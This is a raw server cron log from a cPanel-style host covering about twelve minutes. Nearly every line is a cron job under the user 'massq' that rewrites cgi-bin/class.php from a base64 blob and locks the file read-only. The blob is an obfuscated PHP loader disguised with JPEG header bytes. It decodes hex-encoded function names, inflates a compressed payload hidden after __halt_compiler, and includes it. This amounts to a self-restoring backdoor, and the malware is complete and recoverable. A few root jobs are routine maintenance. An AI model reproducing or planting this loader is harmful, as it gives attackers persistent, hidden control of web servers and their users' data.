Nov 15 22:50:01 server CROND[16132]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:51:01 server CROND[16456]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:52:01 server CROND[16813]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:53:01 server CROND[17075]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:54:01 server CROND[17328]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:55:01 server CROND[17604]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:55:01 server CROND[17605]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 22:55:01 server CROND[17606]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 22:56:01 server CROND[17921]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:57:01 server CROND[18265]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 22:57:01 server CROND[18266]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:58:01 server CROND[18523]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:59:01 server CROND[18782]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:00:01 server CROND[19040]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 23:00:01 server CROND[19041]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 23:00:01 server CROND[19042]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 23:00:01 server CROND[19043]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:01:01 server CROND[19357]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:01:01 server CROND[19356]: (root) CMD (run-parts /etc/cron.hourly)
Nov 15 23:01:01 server run-parts(/etc/cron.hourly)[19356]: starting 0anacron
Nov 15 23:01:01 server run-parts(/etc/cron.hourly)[19369]: finished 0anacron
Nov 15 23:02:01 server CROND[19642]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
